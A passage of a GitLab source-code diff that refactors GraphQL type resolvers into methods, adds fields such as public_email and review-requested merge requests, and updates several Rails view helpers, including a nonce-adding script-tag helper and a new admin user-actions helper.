+ description: 'The user currently holding a lock on the Terraform state'
field :locked_at, Types::TimeType,
null: true,
@@ -39,6 +37,10 @@ module Types
field :updated_at, Types::TimeType,
null: false,
description: 'Timestamp the Terraform state was updated'
+
+ def locked_by_user
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(User, object.locked_by_user_id).find
+ end
end
end
end
diff --git a/app/graphql/types/terraform/state_version_type.rb b/app/graphql/types/terraform/state_version_type.rb
index b1fbe42ecaf..a3af5c876ca 100644
--- a/app/graphql/types/terraform/state_version_type.rb
+++ b/app/graphql/types/terraform/state_version_type.rb
@@ -3,6 +3,8 @@
module Types
module Terraform
class StateVersionType < BaseObject
+ include ::API::Helpers::RelatedResourcesHelpers
+
graphql_name 'TerraformStateVersion'
authorize :read_terraform_state
@@ -13,15 +15,20 @@ module Types
field :created_by_user, Types::UserType,
null: true,
- authorize: :read_user,
- description: 'The user that created this version',
- resolve: -> (version, _, _) { Gitlab::Graphql::Loaders::BatchModelLoader.new(User, version.created_by_user_id).find }
+ description: 'The user that created this version'
+
+ field :download_path, GraphQL::STRING_TYPE,
+ null: true,
+ description: "URL for downloading the version's JSON file"
field :job, Types::Ci::JobType,
null: true,
- authorize: :read_build,
- description: 'The job that created this version',
- resolve: -> (version, _, _) { Gitlab::Graphql::Loaders::BatchModelLoader.new(::Ci::Build, version.ci_build_id).find }
+ description: 'The job that created this version'
+
+ field :serial, GraphQL::INT_TYPE,
+ null: true,
+ description: 'Serial number of the version',
+ method: :version
field :created_at, Types::TimeType,
null: false,
@@ -30,6 +37,22 @@ module Types
field :updated_at, Types::TimeType,
null: false,
description: 'Timestamp the version was updated'
+
+ def created_by_user
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(User, object.created_by_user_id).find
+ end
+
+ def download_path
+ expose_path api_v4_projects_terraform_state_versions_path(
+ id: object.project_id,
+ name: object.terraform_state.name,
+ serial: object.version
+ )
+ end
+
+ def job
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(::Ci::Build, object.ci_build_id).find
+ end
end
end
end
diff --git a/app/graphql/types/todo_type.rb b/app/graphql/types/todo_type.rb
index 4f21da3d897..3694980ef93 100644
--- a/app/graphql/types/todo_type.rb
+++ b/app/graphql/types/todo_type.rb
@@ -16,19 +16,16 @@ module Types
field :project, Types::ProjectType,
description: 'The project this todo is associated with',
null: true,
- authorize: :read_project,
- resolve: -> (todo, args, context) { Gitlab::Graphql::Loaders::BatchModelLoader.new(Project, todo.project_id).find }
+ authorize: :read_project
field :group, Types::GroupType,
description: 'Group this todo is associated with',
null: true,
- authorize: :read_group,
- resolve: -> (todo, args, context) { Gitlab::Graphql::Loaders::BatchModelLoader.new(Group, todo.group_id).find }
+ authorize: :read_group
field :author, Types::UserType,
description: 'The author of this todo',
- null: false,
- resolve: -> (todo, args, context) { Gitlab::Graphql::Loaders::BatchModelLoader.new(User, todo.author_id).find }
+ null: false
field :action, Types::TodoActionEnum,
description: 'Action of the todo',
@@ -50,5 +47,17 @@ module Types
field :created_at, Types::TimeType,
description: 'Timestamp this todo was created',
null: false
+
+ def project
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(Project, object.project_id).find
+ end
+
+ def group
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(Group, object.group_id).find
+ end
+
+ def author
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(User, object.author_id).find
+ end
end
end
diff --git a/app/graphql/types/tree/blob_type.rb b/app/graphql/types/tree/blob_type.rb
index cc6bf7b4f00..a7b90d2533b 100644
--- a/app/graphql/types/tree/blob_type.rb
+++ b/app/graphql/types/tree/blob_type.rb
@@ -15,13 +15,14 @@ module Types
field :web_path, GraphQL::STRING_TYPE, null: true,
description: 'Web path of the blob'
field :lfs_oid, GraphQL::STRING_TYPE, null: true,
- description: 'LFS ID of the blob',
- resolve: -> (blob, args, ctx) do
- Gitlab::Graphql::Loaders::BatchLfsOidLoader.new(blob.repository, blob.id).find
- end
+ description: 'LFS ID of the blob'
field :mode, GraphQL::STRING_TYPE, null: true,
description: 'Blob mode in numeric format'
- # rubocop: enable Graphql/AuthorizeTypes
+
+ def lfs_oid
+ Gitlab::Graphql::Loaders::BatchLfsOidLoader.new(object.repository, object.id).find
+ end
end
+ # rubocop: enable Graphql/AuthorizeTypes
end
end
diff --git a/app/graphql/types/tree/tree_type.rb b/app/graphql/types/tree/tree_type.rb
index b9fb6b28e71..fecd6c0f309 100644
--- a/app/graphql/types/tree/tree_type.rb
+++ b/app/graphql/types/tree/tree_type.rb
@@ -8,27 +8,32 @@ module Types
# Complexity 10 as it triggers a Gitaly call on each render
field :last_commit, Types::CommitType,
- null: true, complexity: 10, calls_gitaly: true, resolver: Resolvers::LastCommitResolver,
- description: 'Last commit for the tree'
+ null: true, complexity: 10, calls_gitaly: true, resolver: Resolvers::LastCommitResolver,
+ description: 'Last commit for the tree'
field :trees, Types::Tree::TreeEntryType.connection_type, null: false,
- description: 'Trees of the tree',
- resolve: -> (obj, args, ctx) do
- Gitlab::Graphql::Representation::TreeEntry.decorate(obj.trees, obj.repository)
- end
+ description: 'Trees of the tree'
field :submodules, Types::Tree::SubmoduleType.connection_type, null: false,
description: 'Sub-modules of the tree',
- calls_gitaly: true, resolve: -> (obj, args, ctx) do
- Gitlab::Graphql::Representation::SubmoduleTreeEntry.decorate(obj.submodules, obj)
- end
+ calls_gitaly: true
field :blobs, Types::Tree::BlobType.connection_type, null: false,
description: 'Blobs of the tree',
- calls_gitaly: true, resolve: -> (obj, args, ctx) do
- Gitlab::Graphql::Representation::TreeEntry.decorate(obj.blobs, obj.repository)
- end
- # rubocop: enable Graphql/AuthorizeTypes
+ calls_gitaly: true
+
+ def trees
+ Gitlab::Graphql::Representation::TreeEntry.decorate(object.trees, object.repository)
+ end
+
+ def submodules
+ Gitlab::Graphql::Representation::SubmoduleTreeEntry.decorate(object.submodules, object)
+ end
+
+ def blobs
+ Gitlab::Graphql::Representation::TreeEntry.decorate(object.blobs, object.repository)
+ end
end
+ # rubocop: enable Graphql/AuthorizeTypes
end
end
diff --git a/app/graphql/types/user_type.rb b/app/graphql/types/user_type.rb
index 783a0d8425a..93503268319 100644
--- a/app/graphql/types/user_type.rb
+++ b/app/graphql/types/user_type.rb
@@ -19,7 +19,10 @@ module Types
field :state, Types::UserStateEnum, null: false,
description: 'State of the user'
field :email, GraphQL::STRING_TYPE, null: true,
- description: 'User email', method: :public_email
+ description: 'User email', method: :public_email,
+ deprecated: { reason: 'Use public_email', milestone: '13.7' }
+ field :public_email, GraphQL::STRING_TYPE, null: true,
+ description: "User's public email"
field :avatar_url, GraphQL::STRING_TYPE, null: true,
description: "URL of the user's avatar"
field :web_url, GraphQL::STRING_TYPE, null: false,
@@ -37,19 +40,24 @@ module Types
feature_flag: :user_group_counts
field :status, Types::UserStatusType, null: true,
description: 'User status'
+ field :location, ::GraphQL::STRING_TYPE, null: true,
+ description: 'The location of the user.'
field :project_memberships, Types::ProjectMemberType.connection_type, null: true,
description: 'Project memberships of the user'
field :starred_projects, Types::ProjectType.connection_type, null: true,
description: 'Projects starred by the user',
resolver: Resolvers::UserStarredProjectsResolver
- # Merge request field: MRs can be either authored or assigned:
+ # Merge request field: MRs can be authored, assigned, or assigned-for-review:
field :authored_merge_requests,
resolver: Resolvers::AuthoredMergeRequestsResolver,
description: 'Merge Requests authored by the user'
field :assigned_merge_requests,
resolver: Resolvers::AssignedMergeRequestsResolver,
description: 'Merge Requests assigned to the user'
+ field :review_requested_merge_requests,
+ resolver: Resolvers::ReviewRequestedMergeRequestsResolver,
+ description: 'Merge Requests assigned to the user for review'
field :snippets,
Types::SnippetType.connection_type,
diff --git a/app/helpers/admin/user_actions_helper.rb b/app/helpers/admin/user_actions_helper.rb
new file mode 100644
index 00000000000..cd520a75b44
--- /dev/null
+++ b/app/helpers/admin/user_actions_helper.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module Admin
+ module UserActionsHelper
+ def admin_actions(user)
+ return [] if user.internal?
+
+ @actions ||= ['edit']
+
+ return @actions if user == current_user
+
+ @user ||= user
+
+ blocked_actions
+ deactivate_actions
+ unlock_actions
+ delete_actions
+
+ @actions
+ end
+
+ private
+
+ def blocked_actions
+ if @user.ldap_blocked?
+ @actions << 'ldap'
+ elsif @user.blocked? && @user.blocked_pending_approval?
+ @actions << 'approve'
+ @actions << 'reject'
+ elsif @user.blocked?
+ @actions << 'unblock'
+ else
+ @actions << 'block'
+ end
+ end
+
+ def deactivate_actions
+ if @user.can_be_deactivated?
+ @actions << 'deactivate'
+ elsif @user.deactivated?
+ @actions << 'activate'
+ end
+ end
+
+ def unlock_actions
+ @actions << 'unlock' if @user.access_locked?
+ end
+
+ def delete_actions
+ return unless can?(current_user, :destroy_user, @user) && !@user.blocked_pending_approval? && @user.can_be_removed?
+
+ @actions << 'delete'
+ @actions << 'delete_with_contributions'
+ end
+ end
+end
diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb
index 2a6b00c0bd8..512ba7e2a66 100644
--- a/app/helpers/application_helper.rb
+++ b/app/helpers/application_helper.rb
@@ -361,9 +361,13 @@ module ApplicationHelper
}
end
- def add_page_specific_style(path)
+ def add_page_specific_style(path, defer: true)
content_for :page_specific_styles do
- stylesheet_link_tag_defer path
+ if defer
+ stylesheet_link_tag_defer path
+ else
+ stylesheet_link_tag path
+ end
end
end
diff --git a/app/helpers/application_settings_helper.rb b/app/helpers/application_settings_helper.rb
index 512649b3008..7866e3e3d9f 100644
--- a/app/helpers/application_settings_helper.rb
+++ b/app/helpers/application_settings_helper.rb
@@ -49,12 +49,12 @@ module ApplicationSettingsHelper
all_protocols_enabled? || Gitlab::CurrentSettings.enabled_git_access_protocol == 'http'
end
- def enabled_project_button(project, protocol)
+ def enabled_protocol_button(container, protocol)
case protocol
when 'ssh'
- ssh_clone_button(project, append_link: false)
+ ssh_clone_button(container, append_link: false)
else
- http_clone_button(project, append_link: false)
+ http_clone_button(container, append_link: false)
end
end
@@ -198,6 +198,7 @@ module ApplicationSettingsHelper
:default_project_visibility,
:default_projects_limit,
:default_snippet_visibility,
+ :disable_feed_token,
:disabled_oauth_sign_in_sources,
:domain_denylist,
:domain_denylist_enabled,
@@ -254,6 +255,9 @@ module ApplicationSettingsHelper
:password_authentication_enabled_for_git,
:performance_bar_allowed_group_path,
:performance_bar_enabled,
+ :personal_access_token_prefix,
+ :kroki_enabled,
+ :kroki_url,
:plantuml_enabled,
:plantuml_url,
:polling_interval_multiplier,
diff --git a/app/helpers/auth_helper.rb b/app/helpers/auth_helper.rb
index cc43ea85a11..0b79d4c36a1 100644
--- a/app/helpers/auth_helper.rb
+++ b/app/helpers/auth_helper.rb
@@ -113,6 +113,10 @@ module AuthHelper
end
end
+ def experiment_enabled_button_based_providers
+ enabled_button_based_providers & %w(google_oauth2 github).freeze
+ end
+
def button_based_providers_enabled?
enabled_button_based_providers.any?
end
diff --git a/app/helpers/blob_helper.rb b/app/helpers/blob_helper.rb
index 981b5e4d92b..0c5823894c5 100644
--- a/app/helpers/blob_helper.rb
+++ b/app/helpers/blob_helper.rb
@@ -1,10 +1,6 @@
# frozen_string_literal: true
module BlobHelper
- def no_highlight_files
- %w(credits changelog news copying copyright license authors)
- end
-
def edit_blob_path(project = @project, ref = @ref, path = @path, options = {})
project_edit_blob_path(project,
tree_join(ref, path),
@@ -246,7 +242,7 @@ module BlobHelper
def copy_blob_source_button(blob)
return unless blob.rendered_as_text?(ignore_errors: false)
- clipboard_button(target: ".blob-content[data-blob-id='#{blob.id}']", class: "btn btn-sm js-copy-blob-source-btn", title: _("Copy file contents"))
+ clipboard_button(target: ".blob-content[data-blob-id='#{blob.id}'] > pre", class: "btn btn-sm js-copy-blob-source-btn", title: _("Copy file contents"))
end
def open_raw_blob_button(blob)
@@ -332,8 +328,9 @@ module BlobHelper
end
def readable_blob(options, path, project, ref)
- blob = options.delete(:blob)
- blob ||= project.repository.blob_at(ref, path) rescue nil
+ blob = options.fetch(:blob) do
+ project.repository.blob_at(ref, path) rescue nil
+ end
blob if blob&.readable_text?
end
@@ -382,8 +379,7 @@ module BlobHelper
end
def show_suggest_pipeline_creation_celebration?
- Feature.enabled?(:suggest_pipeline, default_enabled: true) &&
- @blob.path == Gitlab::FileDetector::PATTERNS[:gitlab_ci] &&
+ @blob.path == Gitlab::FileDetector::PATTERNS[:gitlab_ci] &&
@blob.auxiliary_viewer&.valid?(project: @project, sha: @commit.sha, user: current_user) &&
@project.uses_default_ci_config? &&
cookies[suggest_pipeline_commit_cookie_name].present?
diff --git a/app/helpers/button_helper.rb b/app/helpers/button_helper.rb
index c999d1f94ad..ea24f469ffa 100644
--- a/app/helpers/button_helper.rb
+++ b/app/helpers/button_helper.rb
@@ -58,10 +58,10 @@ module ButtonHelper
end
end
- def http_clone_button(project, append_link: true)
+ def http_clone_button(container, append_link: true)
protocol = gitlab_config.protocol.upcase
dropdown_description = http_dropdown_description(protocol)
- append_url = project.http_url_to_repo if append_link
+ append_url = container.http_url_to_repo if append_link
dropdown_item_with_description(protocol, dropdown_description, href: append_url, data: { clone_type: 'http' })
end
@@ -74,13 +74,13 @@ module ButtonHelper
end
end
- def ssh_clone_button(project, append_link: true)
+ def ssh_clone_button(container, append_link: true)
if Gitlab::CurrentSettings.user_show_add_ssh_key_message? &&
current_user.try(:require_ssh_key?)
- dropdown_description = _("You won't be able to pull or push project code via SSH until you add an SSH key to your profile")
+ dropdown_description = s_("MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile")
end
- append_url = project.ssh_url_to_repo if append_link
+ append_url = container.ssh_url_to_repo if append_link
dropdown_item_with_description('SSH', dropdown_description, href: append_url, data: { clone_type: 'ssh' })
end
diff --git a/app/helpers/ci/pipeline_schedules_helper.rb b/app/helpers/ci/pipeline_schedules_helper.rb
deleted file mode 100644
index 20e5c90a60e..00000000000
--- a/app/helpers/ci/pipeline_schedules_helper.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- module PipelineSchedulesHelper
- def timezone_data
- ActiveSupport::TimeZone.all.map do |timezone|
- {
- name: timezone.name,
- offset: timezone.now.utc_offset,
- identifier: timezone.tzinfo.identifier
- }
- end
- end
- end
-end
diff --git a/app/helpers/ci/runners_helper.rb b/app/helpers/ci/runners_helper.rb
index 432aad663e4..ba5d4e8c65a 100644
--- a/app/helpers/ci/runners_helper.rb
+++ b/app/helpers/ci/runners_helper.rb
@@ -8,14 +8,14 @@ module Ci
status = runner.status
case status
when :not_connected
- content_tag(:span, title: "New runner. Has not connected yet") do
+ content_tag(:span, title: _("New runner. Has not connected yet")) do
sprite_icon("warning-solid", size: 24, css_class: "gl-vertical-align-bottom!")
end
when :online, :offline, :paused
- content_tag :i, nil,
- class: "fa fa-circle runner-status-#{status}",
- title: "Runner is #{status}, last contact was #{time_ago_in_words(runner.contacted_at)} ago"
+ content_tag :span, nil,
+ class: "gl-display-inline-block gl-avatar gl-avatar-s16 gl-avatar-circle runner-status runner-status-#{status}",
+ title: _("Runner is %{status}, last contact was %{runner_contact} ago") % { status: status, runner_contact: time_ago_in_words(runner.contacted_at) }
end
end
@@ -49,6 +49,14 @@ module Ci
parent_shared_runners_availability: group.parent&.shared_runners_setting
}
end
+
+ def toggle_shared_runners_settings_data(project)
+ {
+ is_enabled: "#{project.shared_runners_enabled?}",
+ is_disabled_and_unoverridable: "#{project.group&.shared_runners_setting == 'disabled_and_unoverridable'}",
+ update_path: toggle_shared_runners_project_runners_path(project)
+ }
+ end
end
end
diff --git a/app/helpers/container_registry_helper.rb b/app/helpers/container_registry_helper.rb
index 9a5d84a90dd..0efc8c50d58 100644
--- a/app/helpers/container_registry_helper.rb
+++ b/app/helpers/container_registry_helper.rb
@@ -5,4 +5,8 @@ module ContainerRegistryHelper
Feature.enabled?(:container_registry_expiration_policies_throttling) &&
ContainerRegistry::Client.supports_tag_delete?
end
+
+ def container_repository_gid_prefix
+ "gid://#{GlobalID.app}/#{ContainerRepository.name}/"
+ end
end
diff --git a/app/helpers/defer_script_tag_helper.rb b/app/helpers/defer_script_tag_helper.rb
deleted file mode 100644
index be927c67aaa..00000000000
--- a/app/helpers/defer_script_tag_helper.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-module DeferScriptTagHelper
- # Override the default ActionView `javascript_include_tag` helper to support page specific deferred loading.
- # PLEASE NOTE: `defer` is also critical so that we don't run JavaScript entrypoints before the DOM is ready.
- # Please see https://gitlab.com/groups/gitlab-org/-/epics/4538#note_432159769.
- def javascript_include_tag(*sources)
- super(*sources, defer: true)
- end
-end
diff --git a/app/helpers/diff_helper.rb b/app/helpers/diff_helper.rb
index d6d06434590..69a2efebb1f 100644
--- a/app/helpers/diff_helper.rb
+++ b/app/helpers/diff_helper.rb
@@ -203,14 +203,6 @@ module DiffHelper
set_secure_cookie(:diff_view, params.delete(:view), type: CookiesHelper::COOKIE_TYPE_PERMANENT) if params[:view].present?
end
- def unified_diff_lines_view_type(project)
- if Feature.enabled?(:unified_diff_lines, project, default_enabled: true)
- 'inline'
- else
- diff_view
- end
- end
-
private
def diff_btn(title, name, selected)
diff --git a/app/helpers/dropdowns_helper.rb b/app/helpers/dropdowns_helper.rb
index e10e9a83b05..45f5281b515 100644
--- a/app/helpers/dropdowns_helper.rb
+++ b/app/helpers/dropdowns_helper.rb
@@ -51,7 +51,7 @@ module DropdownsHelper
default_label = data_attr[:default_label]
content_tag(:button, disabled: options[:disabled], class: "dropdown-menu-toggle #{options[:toggle_class] if options.key?(:toggle_class)}", id: (options[:id] if options.key?(:id)), type: "button", data: data_attr) do
output = content_tag(:span, toggle_text, class: "dropdown-toggle-text #{'is-default' if toggle_text == default_label}")
- output << icon('chevron-down')
+ output << sprite_icon('chevron-down', css_class: "dropdown-menu-toggle-icon gl-top-3")
output.html_safe
end
end
diff --git a/app/helpers/environment_helper.rb b/app/helpers/environment_helper.rb
index c4487ae8e4a..491d2731e91 100644
--- a/app/helpers/environment_helper.rb
+++ b/app/helpers/environment_helper.rb
@@ -52,6 +52,8 @@ module EnvironmentHelper
s_('Deployment|failed')
when 'canceled'
s_('Deployment|canceled')
+ when 'skipped'
+ s_('Deployment|skipped')
end
klass = "ci-status ci-#{status.dasherize}"
diff --git a/app/helpers/events_helper.rb b/app/helpers/events_helper.rb
index f40755b9439..e6603237676 100644
--- a/app/helpers/events_helper.rb
+++ b/app/helpers/events_helper.rb
@@ -256,7 +256,7 @@ module EventsHelper
end
else
content_tag :div, class: 'system-note-image user-avatar' do
- author_avatar(event, size: 40)
+ author_avatar(event, size: 32)
end
end
end
diff --git a/app/helpers/form_helper.rb b/app/helpers/form_helper.rb
index 8a8d708b0b2..d0276c91316 100644
--- a/app/helpers/form_helper.rb
+++ b/app/helpers/form_helper.rb
@@ -55,7 +55,7 @@ module FormHelper
dropdown_data
end
- def reviewers_dropdown_options(issuable_type)
+ def reviewers_dropdown_options(issuable_type, iid = nil, target_branch = nil)
dropdown_data = {
toggle_class: 'js-reviewer-search js-multiselect js-save-user-data',
title: 'Request review from',
@@ -78,6 +78,14 @@ module FormHelper
}
}
+ if iid
+ dropdown_data[:data][:iid] = iid
+ end
+
+ if target_branch
+ dropdown_data[:data][:target_branch] = target_branch
+ end
+
if merge_request_supports_multiple_reviewers?
dropdown_data = multiple_reviewers_dropdown_options(dropdown_data)
end
diff --git a/app/helpers/gitlab_script_tag_helper.rb b/app/helpers/gitlab_script_tag_helper.rb
new file mode 100644
index 00000000000..467f3f7305b
--- /dev/null
+++ b/app/helpers/gitlab_script_tag_helper.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module GitlabScriptTagHelper
+ # Override the default ActionView `javascript_include_tag` helper to support page specific deferred loading.
+ # PLEASE NOTE: `defer` is also critical so that we don't run JavaScript entrypoints before the DOM is ready.
+ # Please see https://gitlab.com/groups/gitlab-org/-/epics/4538#note_432159769.
+ # The helper also makes sure the `nonce` attribute is included in every script when the content security
+ # policy is enabled.
+ def javascript_include_tag(*sources)
+ super(*sources, defer: true, nonce: true)
+ end
+
+ # The helper makes sure the `nonce` attribute is included in every script when the content security
+ # policy is enabled.
+ def javascript_tag(content_or_options_with_block = nil, html_options = {})
+ if content_or_options_with_block.is_a?(Hash)
+ content_or_options_with_block[:nonce] = true
+ else
+ html_options[:nonce] = true
+ end
+
+ super
+ end
+end
diff --git a/app/helpers/groups/group_members_helper.rb b/app/helpers/groups/group_members_helper.rb
index ee90585112b..adc9d85a384 100644
--- a/app/helpers/groups/group_members_helper.rb
+++ b/app/helpers/groups/group_members_helper.rb
@@ -26,7 +26,8 @@ module Groups::GroupMembersHelper
{
members: members_data_json(group, members),
member_path: group_group_member_path(group, ':id'),
- group_id: group.id
+ group_id: group.id,
+ can_manage_members: can?(current_user, :admin_group_member, group).to_s
}
end
diff --git a/app/helpers/groups_helper.rb b/app/helpers/groups_helper.rb
index 29ead76a607..e8eb6a5d417 100644
--- a/app/helpers/groups_helper.rb
+++ b/app/helpers/groups_helper.rb
@@ -21,7 +21,6 @@ module GroupsHelper
integrations#edit
ldap_group_links#index
hooks#index
- audit_events#index
pipeline_quota#index
]
end
@@ -189,6 +188,10 @@ module GroupsHelper
params.key?(:purchased_quantity) && params[:purchased_quantity].to_i > 0
end
+ def project_list_sort_by
+ @group_projects_sort || @sort || params[:sort] || sort_value_recently_created
+ end
+
private
def just_created?
diff --git a/app/helpers/icons_helper.rb b/app/helpers/icons_helper.rb
index dc6164ee898..096a3f2269b 100644
--- a/app/helpers/icons_helper.rb
+++ b/app/helpers/icons_helper.rb
@@ -4,25 +4,9 @@ require 'json'
module IconsHelper
extend self
- include FontAwesome::Rails::IconHelper
DEFAULT_ICON_SIZE = 16
- # Creates an icon tag given icon name(s) and possible icon modifiers.
- #
- # Right now this method simply delegates directly to `fa_icon` from the
- # font-awesome-rails gem, but should we ever use a different icon pack in the
- # future we won't have to change hundreds of method calls.
- def icon(names, options = {})
- if (options.keys & %w[aria-hidden aria-label data-hidden]).empty?
- # Add 'aria-hidden' and 'data-hidden' if they are not set in options.
- options['aria-hidden'] = true
- options['data-hidden'] = true
- end
-
- options.include?(:base) ? fa_stacked_icon(names, options) : fa_icon(names, options)
- end
-
def custom_icon(icon_name, size: DEFAULT_ICON_SIZE)
memoized_icon("#{icon_name}_#{size}") do
# We can't simply do the below, because there are some .erb SVGs.
@@ -95,9 +79,9 @@ module IconsHelper
def boolean_to_icon(value)
if value
- sprite_icon('check', css_class: 'cgreen')
+ sprite_icon('check', css_class: 'gl-text-green-500')
else
- sprite_icon('power', css_class: 'clgray')
+ sprite_icon('power', css_class: 'gl-text-gray-500')
end
end
diff --git a/app/helpers/issuables_helper.rb b/app/helpers/issuables_helper.rb
index 77ced17bc22..15842dec3dd 100644
--- a/app/helpers/issuables_helper.rb
+++ b/app/helpers/issuables_helper.rb
@@ -61,16 +61,6 @@ module IssuablesHelper
end
end
- def issuable_json_path(issuable)
- project = issuable.project
-
- if issuable.is_a?(MergeRequest)
- project_merge_request_path(project, issuable.iid, :json)
- else
- project_issue_path(project, issuable.iid, :json)
- end
- end
-
def serialize_issuable(issuable, opts = {})
serializer_klass = case issuable
when Issue
@@ -174,30 +164,26 @@ module IssuablesHelper
h(title || default_label)
end
- def to_url_reference(issuable)
- case issuable
- when Issue
- link_to issuable.to_reference, issue_url(issuable)
- when MergeRequest
- link_to issuable.to_reference, merge_request_url(issuable)
- else
- issuable.to_reference
- end
+ def issuable_meta_author_status(author)
+ return "" unless show_status_emoji?(author&.status) && status = user_status(author)
+
+ "#{status}".html_safe
end
- def issuable_meta(issuable, project, text)
+ def issuable_meta(issuable, project)
output = []
output << "Opened #{time_ago_with_tooltip(issuable.created_at)} by ".html_safe
+ if issuable.is_a?(Issue) && issuable.service_desk_reply_to
+ output << "#{html_escape(issuable.service_desk_reply_to)} via "
+ end
+
output << content_tag(:strong) do
author_output = link_to_member(project, issuable.author, size: 24, mobile_classes: "d-none d-sm-inline")
author_output << link_to_member(project, issuable.author, size: 24, by_username: true, avatar: false, mobile_classes: "d-inline d-sm-none")
author_output << issuable_meta_author_slot(issuable.author, css_class: 'ml-1')
-
- if status = user_status(issuable.author)
- author_output << "#{status}".html_safe
- end
+ author_output << issuable_meta_author_status(issuable.author)
author_output
end
@@ -336,42 +322,10 @@ module IssuablesHelper
issuable_path(issuable, close_reopen_params(issuable, :reopen))
end
- def close_reopen_issuable_path(issuable, should_inverse = false)
- issuable.closed? ^ should_inverse ? reopen_issuable_path(issuable) : close_issuable_path(issuable)
- end
-
- def toggle_draft_issuable_path(issuable)
- wip_event = issuable.work_in_progress? ? 'unwip' : 'wip'
-
- issuable_path(issuable, { merge_request: { wip_event: wip_event } })
- end
-
def issuable_path(issuable, *options)
polymorphic_path(issuable, *options)
end
- def issuable_url(issuable, *options)
- case issuable
- when Issue
- issue_url(issuable, *options)
- when MergeRequest
- merge_request_url(issuable, *options)
- end
- end
-
- def issuable_button_visibility(issuable, closed)
- return 'hidden' if issuable_button_hidden?(issuable, closed)
- end
-
- def issuable_button_hidden?(issuable, closed)
- case issuable
- when Issue
- issue_button_hidden?(issuable, closed)
- when MergeRequest
- merge_request_button_hidden?(issuable, closed)
- end
- end
-
def issuable_author_is_current_user(issuable)
issuable.author == current_user
end
diff --git a/app/helpers/issues_helper.rb b/app/helpers/issues_helper.rb
index dee009cd3ab..0a9965496b8 100644
--- a/app/helpers/issues_helper.rb
+++ b/app/helpers/issues_helper.rb
@@ -32,14 +32,6 @@ module IssuesHelper
end
end
- def issue_button_visibility(issue, closed)
- return 'hidden' if issue_button_hidden?(issue, closed)
- end
-
- def issue_button_hidden?(issue, closed)
- issue.closed? == closed || (!closed && issue.discussion_locked)
- end
-
def confidential_icon(issue)
sprite_icon('eye-slash', css_class: 'gl-vertical-align-text-bottom') if issue.confidential?
end
diff --git a/app/helpers/markup_helper.rb b/app/helpers/markup_helper.rb
index ed8931fe0f2..25d56ffca2c 100644
--- a/app/helpers/markup_helper.rb
+++ b/app/helpers/markup_helper.rb
@@ -126,16 +126,7 @@ module MarkupHelper
text = wiki_page.content
return '' unless text.present?
- context.merge!(
- pipeline: :wiki,
- project: @project,
- wiki: @wiki,
- repository: @wiki.repository,
- page_slug: wiki_page.slug,
- issuable_state_filter_enabled: true
- )
-
- html = markup_unsafe(wiki_page.path, text, context)
+ html = markup_unsafe(wiki_page.path, text, render_wiki_content_context(@wiki, wiki_page, context))
prepare_for_rendering(html, context)
end
@@ -182,6 +173,20 @@ module MarkupHelper
private
+ def render_wiki_content_context(wiki, wiki_page, context)
+ context.merge(
+ pipeline: :wiki,
+ wiki: wiki,
+ repository: wiki.repository,
+ page_slug: wiki_page.slug,
+ issuable_state_filter_enabled: true
+ ).merge(render_wiki_content_context_container(wiki))
+ end
+
+ def render_wiki_content_context_container(wiki)
+ { project: wiki.container }
+ end
+
# Return +text+, truncated to +max_chars+ characters, excluding any HTML
# tags.
def truncate_visible(text, max_chars)
@@ -311,3 +316,5 @@ module MarkupHelper
extend self
end
+
+MarkupHelper.prepend_if_ee('EE::MarkupHelper')
diff --git a/app/helpers/merge_requests_helper.rb b/app/helpers/merge_requests_helper.rb
index 9cb7edbaeb6..37e701c1c2b 100644
--- a/app/helpers/merge_requests_helper.rb
+++ b/app/helpers/merge_requests_helper.rb
@@ -39,19 +39,6 @@ module MergeRequestsHelper
end
end
- def ci_build_details_path(merge_request)
- build_url = merge_request.source_project.ci_service.build_page(merge_request.diff_head_sha, merge_request.source_branch)
- return unless build_url
-
- parsed_url = URI.parse(build_url)
-
- unless parsed_url.userinfo.blank?
- parsed_url.userinfo = ''
- end
-
- parsed_url.to_s
- end
-
def merge_path_description(merge_request, separator)
if merge_request.for_fork?
"Project:Branches: #{@merge_request.source_project_path}:#{@merge_request.source_branch} #{separator} #{@merge_request.target_project.full_path}:#{@merge_request.target_branch}"
@@ -96,7 +83,7 @@ module MergeRequestsHelper
end
def merge_request_button_hidden?(merge_request, closed)
- merge_request.closed? == closed || (merge_request.merged? == closed && !merge_request.closed?) || merge_request.closed_without_fork?
+ merge_request.closed? == closed || (merge_request.merged? == closed && !merge_request.closed?) || merge_request.closed_or_merged_without_fork?
end
def merge_request_version_path(project, merge_request, merge_request_diff, start_sha = nil)
@@ -166,6 +153,12 @@ module MergeRequestsHelper
current_user.fork_of(project)
end
end
+
+ def toggle_draft_merge_request_path(issuable)
+ wip_event = issuable.work_in_progress? ? 'unwip' : 'wip'
+
+ issuable_path(issuable, { merge_request: { wip_event: wip_event } })
+ end
end
MergeRequestsHelper.prepend_if_ee('EE::MergeRequestsHelper')
diff --git a/app/helpers/notifications_helper.rb b/app/helpers/notifications_helper.rb
index 61fcda6a504..2b68d953431 100644
--- a/app/helpers/notifications_helper.rb
+++ b/app/helpers/notifications_helper.rb
@@ -106,7 +106,8 @@ module NotificationsHelper
when :success_pipeline
s_('NotificationEvent|Successful pipeline')
else
- s_(event.to_s.humanize)
+ event_name = "NotificationEvent|#{event.to_s.humanize}"
+ s_(event_name)
end
end
diff --git a/app/helpers/notify_helper.rb b/app/helpers/notify_helper.rb
index fb68029928c..db7527d9d58 100644
--- a/app/helpers/notify_helper.rb
+++ b/app/helpers/notify_helper.rb
@@ -5,7 +5,7 @@ module NotifyHelper
link_to(entity.to_reference, merge_request_url(entity, *args))
end
- def issue_reference_link(entity, *args)
- link_to(entity.to_reference, issue_url(entity, *args))
+ def issue_reference_link(entity, *args, full: false)
+ link_to(entity.to_reference(full: full), issue_url(entity, *args))
end
end
diff --git a/app/helpers/operations_helper.rb b/app/helpers/operations_helper.rb
index 8105fce10cf..6d721776f0d 100644
